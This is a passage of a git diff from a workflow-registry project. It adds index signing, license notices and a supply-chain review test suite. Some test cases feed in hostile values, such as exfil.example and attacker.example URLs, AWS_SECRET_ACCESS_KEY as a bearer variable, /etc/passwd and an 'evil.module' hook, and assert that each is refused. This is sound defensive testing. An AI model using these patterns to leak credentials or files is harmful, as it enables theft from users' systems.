--hash=sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11 \ + --hash=sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60 \ + --hash=sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd \ + --hash=sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b \ + --hash=sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c \ + --hash=sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a \ + --hash=sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460 \ + --hash=sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1 \ + --hash=sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf \ + --hash=sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf \ + --hash=sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858 \ + --hash=sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2 \ + --hash=sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9 \ + --hash=sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2 \ + --hash=sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3 \ + --hash=sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6 \ + --hash=sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770 \ + --hash=sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d \ + --hash=sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc \ + --hash=sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23 \ + --hash=sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26 \ + --hash=sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa \ + --hash=sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8 \ + --hash=sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d \ + --hash=sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3 \ + --hash=sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d \ + --hash=sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034 \ + --hash=sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9 \ + --hash=sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1 \ + --hash=sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56 \ + --hash=sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b \ + --hash=sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c \ + --hash=sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a \ + --hash=sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e \ + --hash=sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9 \ + --hash=sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5 \ + --hash=sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a \ + --hash=sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556 \ + --hash=sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e \ + --hash=sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49 \ + --hash=sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2 \ + --hash=sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9 \ + --hash=sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b \ + --hash=sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc \ + --hash=sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb \ + --hash=sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0 \ + --hash=sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8 \ + --hash=sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82 \ + --hash=sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69 \ + --hash=sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b \ + --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c \ + --hash=sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75 \ + --hash=sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5 \ + --hash=sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f \ + --hash=sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad \ + --hash=sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b \ + --hash=sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7 \ + --hash=sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425 \ + --hash=sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52 +typing-extensions==4.15.0 \ + --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \ + --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 +typing-inspection==0.4.2 \ + --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \ + --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464 diff --git a/packages/flow/registry/sources.json b/packages/flow/registry/sources.json index 85e3b7dc7..ed4004c70 100644 --- a/packages/flow/registry/sources.json +++ b/packages/flow/registry/sources.json @@ -9,7 +9,25 @@ "certification": null, "evidence": "On 2026-10-11 this bundle ran over 8 made-up referrals on a local OpenEMR test copy. 7 saved and a separate REST and SQL read matched 12 of 12 fields; the duplicate-name case stopped at OpenEMR's duplicate check. Engine certification was off for those runs.", "usage": "Start signed in to OpenEMR on Patient > New (/interface/new/new_comprehensive.php) at 1280x800. benchmark/openemr_local in this repository brings up a matching synthetic copy.", - "params": ["title", "fname", "lname", "DOB", "sex", "street", "city", "state_label", "postal_code", "phone_home", "email", "country_code"] + "params": [ + "title", + "fname", + "lname", + "DOB", + "sex", + "street", + "city", + "state_label", + "postal_code", + "phone_home", + "email", + "country_code" + ], + "app_license": "GPL-3.0", + "screens": { + "data": "synthetic", + "source": "benchmark/openemr_local (made-up patients)" + } }, { "id": "openimis/claim-intake", diff --git a/packages/flow/scripts/build_registry_index.py b/packages/flow/scripts/build_registry_index.py index 94823900d..9ff2f5ee7 100644 --- a/packages/flow/scripts/build_registry_index.py +++ b/packages/flow/scripts/build_registry_index.py @@ -7,8 +7,10 @@ ``--archives`` writes each bundle as a reproducible ``.tar.gz`` into DIR and points its entry at ```` (the registry release's assets). -``--sign`` signs every entry of the index at PATH in place, with the seed in -the file named by ``OPENADAPT_REGISTRY_SIGNING_SEED`` and the key id in +Each archive carries a NOTICE naming the app's license. ``--sign`` signs +every entry of the index at PATH, stamps ``issued_at``, ``expires_at`` and +``serial``, and signs the index as a whole, in place, with the seed in the +file named by ``OPENADAPT_REGISTRY_SIGNING_SEED`` and the key id in ``OPENADAPT_REGISTRY_KEY_ID``. Only the registry release workflow does that, in its protected environment; the seed never lives in this repository. """ @@ -24,11 +26,14 @@ ROOT = Path(__file__).resolve().parents[1] sys.path.insert(0, str(ROOT)) +sys.path.insert(1, str(ROOT.parent / "types")) from openadapt_flow.registry import ( # noqa: E402 + INDEX_FRESHNESS_FIELDS, build_archive, build_entry_files, - sign_entry, + license_notice, + sign_index, validate_index, ) @@ -45,7 +50,7 @@ def build(archives: Optional[Path] = None, asset_base: Optional[str] = None) -> asset = archives / f"{name}.tar.gz" item["archive"] = { "url": asset_base.rstrip("/") + "/" + asset.name, - "sha256": build_archive(bundle, asset), + "sha256": build_archive(bundle, asset, notice=license_notice(item)), } sources["schema_version"] = 1 validate_index(sources) @@ -56,10 +61,7 @@ def sign(path: Path) -> None: seed = Path(os.environ["OPENADAPT_REGISTRY_SIGNING_SEED"]).read_bytes() key_id = os.environ["OPENADAPT_REGISTRY_KEY_ID"] index = json.loads(path.read_text()) - for item in index["workflows"]: - if item["status"] != "planned": - item.pop("signature", None) - item["signature"] = sign_entry(item, seed, key_id) + sign_index(index, seed, key_id) validate_index(index) path.write_text(json.dumps(index, indent=2, sort_keys=True) + "\n") @@ -82,7 +84,10 @@ def main() -> int: text = json.dumps(index, indent=2, sort_keys=True) + "\n" if args.check: committed = json.loads(out.read_text()) - # The release workflow adds each entry's signature and archive. + # The release workflow adds the signatures, the freshness fields and + # each entry's archive. + for field in (*INDEX_FRESHNESS_FIELDS, "signature"): + committed.pop(field, None) for item in committed["workflows"]: item.pop("signature", None) item.pop("archive", None) diff --git a/packages/flow/tests/test_registry.py b/packages/flow/tests/test_registry.py index 5d0f769ee..de583793e 100644 --- a/packages/flow/tests/test_registry.py +++ b/packages/flow/tests/test_registry.py @@ -13,6 +13,13 @@ ROOT = Path(__file__).resolve().parents[1] +@pytest.fixture(autouse=True) +def _own_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + """Each test's pull ledger and serials live in its own OPENADAPT_HOME.""" + + monkeypatch.setenv("OPENADAPT_HOME", str(tmp_path / "openadapt-home")) + + def _local_registry(tmp_path: Path) -> Path: dest = tmp_path / "registry" shutil.copytree(ROOT / "registry", dest) @@ -24,7 +31,10 @@ def test_committed_index_is_current() -> None: build = runpy.run_path(str(ROOT / "scripts/build_registry_index.py"))["build"] committed = json.loads((ROOT / "registry/index.json").read_text()) - # The release workflow adds each entry's signature and archive. + # The release workflow adds the signatures, the freshness fields and each + # entry's archive. + for field in (*registry.INDEX_FRESHNESS_FIELDS, "signature"): + committed.pop(field, None) for item in committed["workflows"]: item.pop("signature", None) item.pop("archive", None) @@ -38,7 +48,15 @@ def test_no_entry_claims_certified_without_a_record() -> None: assert ids["openimis/claim-intake"].status == "planned" with pytest.raises(registry.RegistryError, match="certification"): registry.validate_index( - {"workflows": [{"id": "a/b", "status": "certified", "files": {"x": "0"}}]} + { + "workflows": [ + { + "id": "a/b", + "status": "certified", + "files": {"workflow.json": "0"}, + } + ] + } ) diff --git a/packages/flow/tests/test_skills_registry.py b/packages/flow/tests/test_skills_registry.py index e2ee3b2d1..61dc7173c 100644 --- a/packages/flow/tests/test_skills_registry.py +++ b/packages/flow/tests/test_skills_registry.py @@ -22,6 +22,14 @@ ROOT = Path(__file__).resolve().parents[1] + +@pytest.fixture(autouse=True) +def _own_state(tmp_path, monkeypatch): + """Each test's pull ledger and serials live in its own OPENADAPT_HOME.""" + + monkeypatch.setenv("OPENADAPT_HOME", str(tmp_path / "openadapt-home")) + + CONTRACT = """\ schema_version: openadapt.verify/v1 app: @@ -97,13 +105,13 @@ def test_versions_pin_and_newest_wins(): "id": "a/b", "version": "1.2.0", "status": "example", - "files": {"x": "0"}, + "files": {"workflow.json": "0"}, }, { "id": "a/b", "version": "1.10.0", "status": "example", - "files": {"x": "0"}, + "files": {"workflow.json": "0"}, }, ] } @@ -123,7 +131,7 @@ def test_versions_pin_and_newest_wins(): ], ) def test_the_index_rejects_a_malformed_skill(extra, message): - item = {"id": "a/b", "status": "example", "files": {"x": "0"}, **extra} + item = {"id": "a/b", "status": "example", "files": {"workflow.json": "0"}, **extra} with pytest.raises(registry.RegistryError, match=message): registry.validate_index({"workflows": [item]}) @@ -262,6 +270,20 @@ def _qualify_on(dest, origin): workflow.save(dest) +def _record_qualified(dest, contract="minimal", opt_in=False): + """What ``skill qualify`` writes in the lock after a passing campaign.""" + + from openadapt_flow.ir import Workflow + + lock = skills.read_lock(dest) + lock["qualified"] = { + "bundle_digest": Workflow.load(dest).manifest.content_digest, + "contract": contract, + "contract_opt_in": opt_in, + } + (dest / skills.LOCK).write_text(json.dumps(lock)) + + def test_only_the_qualified_instance_runs(tmp_path, monkeypatch): from openadapt_flow import qualification @@ -271,6 +293,8 @@ def test_only_the_qualified_instance_runs(tmp_path, monkeypatch): ) assert "not qualified on a named instance" in skills.pulled_skill_refusal(dest) _qualify_on(dest, "https://emr.example.org") + assert "not qualified by skill qualify" in skills.pulled_skill_refusal(dest) + _record_qualified(dest) assert skills.pulled_skill_refusal(dest) is None assert ( skills.pulled_skill_refusal(dest, target_url="https://emr.example.org/x") @@ -312,9 +336,7 @@ def _signed_registry(tmp_path): index = _registry(tmp_path) data = json.loads(index.read_text()) - for item in data["workflows"]: - if item["id"] == "openemr/new-referral": - item["signature"] = registry.sign_entry(item, SEED, "test-key") + registry.sign_index(data, SEED, "test-key") index.write_text(json.dumps(data)) return index, {"test-key": public_key(SEED)} @@ -332,7 +354,7 @@ def test_a_signed_entry_pulls_and_records_its_signer(tmp_path): def test_an_unsigned_entry_needs_allow_unsigned(tmp_path): index = _registry(tmp_path) - with pytest.raises(registry.RegistryError, match="not signed.*allow-unsigned"): + with pytest.raises(registry.RegistryError, match="not signed"): registry.pull( "openemr/new-referral", tmp_path / "u", index_url=str(index), keys={} ) @@ -434,6 +456,12 @@ def test_no_registry_bundle_in_the_repo_holds_a_private_tier_file(): assert found == [] +def test_every_file_of_a_registry_bundle_in_the_repo_is_allowlisted(): + for bundle in (ROOT / "registry/bundles").glob("*/*"): + for rel in registry.build_entry_files(bundle): + assert registry.public_bundle_file(rel), f"{bundle.name}: {rel}" + + def _with_full_contract(tmp_path, body: bytes): import hashlib @@ -442,9 +470,8 @@ def _with_full_contract(tmp_path, body: bytes): for item in data["workflows"]: if item["id"] == "openemr/new-referral": item["full_contract"] = { - "url": "https://private.example/registry/openemr/verify.full.yaml", + "url": "https://registry.openadapt.ai/private/openemr/verify.full.yaml", "sha256": hashlib.sha256(body).hexdigest(), - "token_env": "MY_REGISTRY_TOKEN", } index.write_text(json.dumps(data)) dest = registry.pull( @@ -457,20 +484,22 @@ def _with_full_contract(tmp_path, body: bytes): return dest -def _serve(monkeypatch, body: bytes, seen: dict): +def _serve(body: bytes, seen: dict, status: int = 200): + """An httpx client whose transport answers every request with ``body``.""" + import httpx - def get(url, headers=None, **kw): - seen.update(url=url, auth=(headers or {}).get("Authorization")) - return SimpleNamespace(status_code=200, content=body) + def handle(request): + seen.update(url=str(request.url), auth=request.headers.get("Authorization")) + return httpx.Response(status, content=body) - monkeypatch.setattr(httpx, "get", get) + return httpx.Client(transport=httpx.MockTransport(handle)) def test_without_a_token_the_minimal_contract_is_used(tmp_path, monkeypatch): full = CONTRACT.replace("name: Demo", "name: Demo full").encode() dest = _with_full_contract(tmp_path, full) - monkeypatch.delenv("MY_REGISTRY_TOKEN", raising=False) + monkeypatch.delenv(skills.TOKEN_ENV, raising=False) lines, seen = [], {} skills.qualify_skill( dest, @@ -487,13 +516,13 @@ def test_the_full_contract_is_fetched_checked_and_kept_outside_the_bundle( ): full = CONTRACT.replace("name: Demo", "name: Demo full").encode() dest = _with_full_contract(tmp_path, full) - monkeypatch.setenv("MY_REGISTRY_TOKEN", "t0k3n") + monkeypatch.setenv(skills.TOKEN_ENV, "t0k3n") served, seen = {}, {} - _serve(monkeypatch, full, served) skills.qualify_skill( dest, certify="p", run=lambda bundle, config, **kw: seen.setdefault("name", config.app.name), + http_client=_serve(full, served), ) assert seen["name"] == "Demo full" assert served["auth"] == "Bearer t0k3n" @@ -506,46 +535,53 @@ def test_a_full_contract_that_does_not_match_the_signed_entry_is_refused( tmp_path, monkeypatch ): dest = _with_full_contract(tmp_path, b"the signed one") - monkeypatch.setenv("MY_REGISTRY_TOKEN", "t0k3n") - _serve(monkeypatch, b"something else", {}) + monkeypatch.setenv(skills.TOKEN_ENV, "t0k3n") with pytest.raises(skills.SkillError, match="does not match the signed entry"): - skills.qualify_skill(dest, certify="p", run=lambda *a, **k: None) + skills.qualify_skill( + dest, + certify="p", + run=lambda *a, **k: None, + http_client=_serve(b"something else", {}), + ) def test_a_full_contract_needs_a_url_and_a_digest(): item = { "id": "a/b", "status": "example", - "files": {"x": "0"}, + "files": {"workflow.json": "0"}, "full_contract": {"url": "u"}, } - with pytest.raises(registry.RegistryError, match="full_contract needs"): + with pytest.raises(registry.RegistryError, match="full_contract takes exactly"): registry.validate_index({"workflows": [item]}) -# -- the TEST key ------------------------------------------------------------------------ +# -- no key whose seed is public is trusted ------------------------------------------ -def test_the_test_key_needs_allow_test_key(tmp_path): - index = _registry(tmp_path) - data = json.loads(index.read_text()) - for item in data["workflows"]: - if item["id"] == "openemr/new-referral": - item["signature"] = registry.sign_entry( - item, registry.TEST_KEY_SEED, registry.TEST_KEY_ID - ) - index.write_text(json.dumps(data)) - with pytest.raises(registry.RegistryError, match="allow-test-key"): - registry.pull("openemr/new-referral", tmp_path / "a", index_url=str(index)) - dest = registry.pull( - "openemr/new-referral", - tmp_path / "b", - index_url=str(index), - allow_test_key=True, - ) - from openadapt_flow.ir import Workflow +def test_a_key_flagged_test_in_the_trust_root_is_ignored(tmp_path, monkeypatch): + from openadapt_flow.ed25519ph import public_key - assert Workflow.load(dest).registry.signed_by == registry.TEST_KEY_ID + keys_file = tmp_path / "keys.json" + keys_file.write_text( + json.dumps( + { + "keys": { + "test-key": { + "public": __import__("base64") + .b64encode(public_key(SEED)) + .decode(), + "test": True, + } + } + } + ) + ) + monkeypatch.setattr(registry, "KEYS_FILE", keys_file) + assert registry.trusted_keys() == {} + index, _ = _signed_registry(tmp_path) + with pytest.raises(registry.RegistryError, match="unknown key"): + registry.pull("openemr/new-referral", tmp_path / "a", index_url=str(index)) # -- bundles as release assets -------------------------------------------------------------- @@ -554,15 +590,15 @@ def test_the_test_key_needs_allow_test_key(tmp_path): def _with_archive(tmp_path, *, tamper=None): index = _registry(tmp_path) bundle = index.parent / "bundles/openemr/new-referral" - asset = tmp_path / "openemr-new-referral-1.0.0.tar.gz" - digest = registry.build_archive(bundle, asset) + asset = index.parent / "openemr-new-referral-1.0.0.tar.gz" + digest = registry.build_archive(bundle, asset, notice="GPL-3.0 notice\n") if tamper == "bytes": asset.write_bytes(asset.read_bytes() + b"x") shutil.rmtree(bundle) # nothing left to fetch file by file data = json.loads(index.read_text()) for item in data["workflows"]: if item["id"] == "openemr/new-referral": - item["archive"] = {"url": str(asset), "sha256": digest} + item["archive"] = {"url": asset.name, "sha256": digest} index.write_text(json.dumps(data)) return index @@ -576,6 +612,7 @@ def test_a_bundle_can_come_from_a_release_asset(tmp_path): allow_unsigned=True, ) assert (dest / "workflow.json").is_file() + assert (dest / registry.NOTICE_NAME).read_text() == "GPL-3.0 notice\n" def test_a_changed_archive_is_refused(tmp_path): @@ -608,55 +645,57 @@ def rekor(): def _anchored(tmp_path, rekor): + from openadapt_flow.ed25519ph import public_key + index = _registry(tmp_path) data = json.loads(index.read_text()) - for item in data["workflows"]: - if item["id"] == "openemr/new-referral": - item["signature"] = registry.sign_entry( - item, registry.TEST_KEY_SEED, registry.TEST_KEY_ID - ) + registry.sign_index(data, SEED, "test-key") index.write_text(json.dumps(data)) registry.anchor_index( - index, registry.TEST_KEY_SEED, log_keys=[rekor.log], submit=rekor.submit, env={} + index, SEED, log_keys=[rekor.log], submit=rekor.submit, env={} ) - return index + return index, {"test-key": public_key(SEED)} def test_an_anchored_index_pulls(tmp_path, rekor): - index = _anchored(tmp_path, rekor) + index, keys = _anchored(tmp_path, rekor) assert (index.parent / registry.ANCHOR_NAME).is_file() dest = registry.pull( "openemr/new-referral", tmp_path / "s", index_url=str(index), - allow_test_key=True, + keys=keys, log_keys=[rekor.log], ) assert (dest / "workflow.json").is_file() def test_an_index_changed_after_anchoring_is_refused(tmp_path, rekor): - index = _anchored(tmp_path, rekor) + index, keys = _anchored(tmp_path, rekor) data = json.loads(index.read_text()) - # A change no entry signature covers: a planned entry's title. + # A change no entry signature covers (a planned entry's title), re-signed + # as a whole: only the anchor still names the published index. for item in data["workflows"]: if item["status"] == "planned": item["title"] = "something else" + registry.sign_index(data, SEED, "test-key") index.write_text(json.dumps(data)) with pytest.raises(registry.RegistryError, match="anchor does not hold"): registry.pull( "openemr/new-referral", tmp_path / "s", index_url=str(index), - allow_test_key=True, + keys=keys, log_keys=[rekor.log], ) assert not (tmp_path / "s").exists() def test_an_anchor_by_a_key_the_registry_does_not_trust_is_refused(tmp_path, rekor): - index = _anchored(tmp_path, rekor) - with pytest.raises(registry.RegistryError, match="anchor does not hold"): + index, _ = _anchored(tmp_path, rekor) + with pytest.raises( + registry.RegistryError, match="unknown key|anchor does not hold" + ): registry.pull( "openemr/new-referral", tmp_path / "s", diff --git a/packages/flow/tests/test_skills_registry_review.py b/packages/flow/tests/test_skills_registry_review.py new file mode 100644 index 000000000..41d9325b6 --- /dev/null +++ b/packages/flow/tests/test_skills_registry_review.py @@ -0,0 +1,695 @@ +"""The skills registry's supply-chain review (PR #1592), one test per hole. + +Each test is the review's probe turned around: it drives the real pull, +qualify and refusal code and asserts that the hole is closed. Network access +is replaced only at the transport (an httpx ``MockTransport``, or a reader +that serves a local copy as if from an https mirror). +""" + +from __future__ import annotations + +import base64 +import hashlib +import io +import json +import tarfile +from datetime import datetime, timedelta, timezone +from types import SimpleNamespace + +import pytest + +from openadapt_flow import qualification, registry, skills +from tests.test_skills_registry import ( + CONTRACT, + ROOT, + SEED, + VARS, + _bind_all, + _qualify_on, + _record_qualified, + _registry, + _serve, +) + + +@pytest.fixture(autouse=True) +def _own_state(tmp_path, monkeypatch): + monkeypatch.setenv("OPENADAPT_HOME", str(tmp_path / "openadapt-home")) + + +def _keys(): + from openadapt_flow.ed25519ph import public_key + + return {"test-key": public_key(SEED)} + + +def _index(tmp_path, *, contract=CONTRACT, contract_vars=VARS, mutate=None): + index = _registry(tmp_path, contract=contract) + data = json.loads(index.read_text()) + for item in data["workflows"]: + if item["id"] == "openemr/new-referral": + item["contract_vars"] = contract_vars + if mutate: + mutate(item) + index.write_text(json.dumps(data)) + return index + + +def _pull(tmp_path, **kw): + return registry.pull( + "openemr/new-referral", + tmp_path / "skill", + index_url=str(_index(tmp_path, **kw)), + allow_unsigned=True, + ) + + +def _bind(dest, tmp_path): + """Bind every variable, with a reset that succeeds.""" + + _bind_all(dest, tmp_path) + skills.bind(dest, {"RESET_COMMAND": "/usr/bin/true"}) + + +def _resetting_run(seen): + """A campaign stand-in that resets the test system, as each trial does.""" + + def run(bundle, config, **kw): + seen["config"] = config + kw["hooks"].reset() + return SimpleNamespace(certified=False) + + return run + + +# -- 1. a shipped contract never runs a command or request it names itself ------------ + + +def test_a_shipped_reset_command_never_runs(tmp_path): + marker = tmp_path / "PWNED" + dest = _pull( + tmp_path, + contract=CONTRACT.replace( + "command: ${RESET_COMMAND}", f"command: touch {marker}" + ), + ) + _bind(dest, tmp_path) + with pytest.raises(skills.SkillError, match="app.reset.command must be"): + skills.qualify_skill(dest, certify="p", run=_resetting_run({})) + assert not marker.exists() + + +def test_the_reset_that_runs_is_the_one_the_user_bound(tmp_path): + marker = tmp_path / "bound-reset-ran" + dest = _pull(tmp_path) + _bind(dest, tmp_path) + skills.bind(dest, {"RESET_COMMAND": f"touch {marker}"}) + skills.qualify_skill(dest, certify="p", run=_resetting_run({})) + assert marker.exists() + + +@pytest.mark.parametrize( + "old, new, message", + [ + ( + " command: ${RESET_COMMAND}\n", + " http:\n url: https://exfil.example/reset\n", + "app.reset.http.url must be", + ), + ( + " command: ${RESET_COMMAND}\n", + " http:\n url: ${APP_URL}/reset\n", + "app.reset.http.url must be", + ), + ( + "base_url: ${RECORD_URL}", + "base_url: https://exfil.example", + "base_url must be", + ), + ( + "base_url: ${RECORD_URL}", + "base_url: ${RECORD_URL}@exfil.example", + "base_url must be", + ), + ( + "bearer_env: ${RECORD_TOKEN_VAR}", + "bearer_env: AWS_SECRET_ACCESS_KEY", + "bearer_env must be", + ), + ( + "bearer_env: ${RECORD_TOKEN_VAR}", + "bearer_env: ${APP_URL}", + "bearer_env must be", + ), + ( + "storage_state: ${SIGNED_IN_STATE}", + "storage_state: /etc/passwd", + "storage_state must be", + ), + (" kind: rest\n", " kind: my_plugin\n", "a shipped contract reads with"), + ( + " storage_state:", + " session: evil.module:open\n storage_state:", + "Python hooks", + ), + ], +) +def test_a_shipped_contract_names_every_address_and_credential_by_a_declared_variable( + tmp_path, old, new, message +): + assert old in CONTRACT + dest = _pull(tmp_path, contract=CONTRACT.replace(old, new)) + _bind(dest, tmp_path) + seen = {} + with pytest.raises(skills.SkillError, match=message): + skills.qualify_skill(dest, certify="p", run=_resetting_run(seen)) + assert seen == {} + + +# -- 2. a shipped contract reads the binding, never os.environ ------------------------- + + +def test_a_shipped_contract_cannot_read_the_environment(tmp_path, monkeypatch): + monkeypatch.setenv("PROBE_SECRET", "s3cr3t-from-os-environ") + dest = _pull( + tmp_path, + contract=CONTRACT.replace( + "url: ${APP_URL}", "url: ${APP_URL}/?k=${PROBE_SECRET}" + ), + ) + _bind(dest, tmp_path) + seen = {} + with pytest.raises(skills.SkillError, match="PROBE_SECRET.*not a declared"): + skills.qualify_skill(dest, certify="p", run=_resetting_run(seen)) + assert seen == {} + + +def test_an_unbound_variable_takes_its_default_not_the_environment( + tmp_path, monkeypatch +): + monkeypatch.setenv("SITE_LABEL", "s3cr3t-from-os-environ") + dest = _pull( + tmp_path, + contract=CONTRACT.replace("name: Demo", "name: Demo ${SITE_LABEL:-default}"), + contract_vars=[ + *VARS, + {"name": "SITE_LABEL", "kind": "command", "required": False}, + ], + ) + _bind(dest, tmp_path) + seen = {} + skills.qualify_skill(dest, certify="p", run=_resetting_run(seen)) + assert seen["config"].app.name == "Demo default" + + +# -- 3. the private tier's token goes only to the private tier --------------------------- + + +@pytest.mark.parametrize( + "full, message", + [ + ( + {"url": "http://registry.openadapt.ai/c", "sha256": "0" * 64}, + "must be https", + ), + ( + {"url": "https://attacker.example/c", "sha256": "0" * 64}, + "not a private-tier host", + ), + ( + { + "url": "https://registry.openadapt.ai.attacker.example/c", + "sha256": "0" * 64, + }, + "not a private-tier host", + ), + ( + { + "url": "https://registry.openadapt.ai/c", + "sha256": "0" * 64, + "token_env": "AWS_SECRET_ACCESS_KEY", + }, + "exactly a url and a sha256", + ), + ], +) +def test_the_index_refuses_a_private_tier_address_that_could_leak_the_token( + full, message +): + item = { + "id": "a/b", + "status": "example", + "files": {"workflow.json": "0"}, + "full_contract": full, + } + with pytest.raises(registry.RegistryError, match=message): + registry.validate_index({"workflows": [item]}) + + +def _with_lock_full_contract(tmp_path, full): + dest = _pull(tmp_path) + _bind(dest, tmp_path) + lock = skills.read_lock(dest) + lock["full_contract"] = full # a lock edited on disk after the pull + (dest / skills.LOCK).write_text(json.dumps(lock)) + return dest + + +def test_the_token_is_never_sent_to_a_host_off_the_allowlist(tmp_path, monkeypatch): + dest = _with_lock_full_contract( + tmp_path, {"url": "https://attacker.example/c", "sha256": "0" * 64} + ) + monkeypatch.setenv(skills.TOKEN_ENV, "t0k3n") + served = {} + with pytest.raises(skills.SkillError, match="nothing was sent"): + skills.qualify_skill( + dest, certify="p", run=_resetting_run({}), http_client=_serve(b"", served) + ) + assert served == {} + + +def test_the_token_is_read_only_from_the_registry_variable(tmp_path, monkeypatch): + dest = _with_lock_full_contract( + tmp_path, {"url": "https://registry.openadapt.ai/c", "sha256": "0" * 64} + ) + monkeypatch.delenv(skills.TOKEN_ENV, raising=False) + monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "AKIA-probe") + served, seen = {}, {} + skills.qualify_skill( + dest, certify="p", run=_resetting_run(seen), http_client=_serve(b"", served) + ) + assert served == {} and seen["config"].app.name == "Demo" + + +def test_an_oversized_private_contract_is_refused(tmp_path, monkeypatch): + body = b"#" * (registry.MAX_FULL_CONTRACT_BYTES + 1) + dest = _with_lock_full_contract( + tmp_path, + { + "url": "https://registry.openadapt.ai/c", + "sha256": hashlib.sha256(body).hexdigest(), + }, + ) + monkeypatch.setenv(skills.TOKEN_ENV, "t0k3n") + with pytest.raises(skills.SkillError, match="larger than"): + skills.qualify_skill( + dest, certify="p", run=_resetting_run({}), http_client=_serve(body, {}) + ) + assert not (tmp_path / "skill.private").exists() + + +# -- 4. the signature checks can't be switched off ------------------------------------------- + + +def test_allow_unsigned_is_refused_for_a_remote_index(tmp_path, monkeypatch): + def no_read(*a, **k): + raise AssertionError("nothing may be fetched") + + monkeypatch.setattr(registry, "_read", no_read) + with pytest.raises( + registry.RegistryError, match="only to an index on the local disk" + ): + registry.pull( + "openemr/new-referral", + tmp_path / "s", + 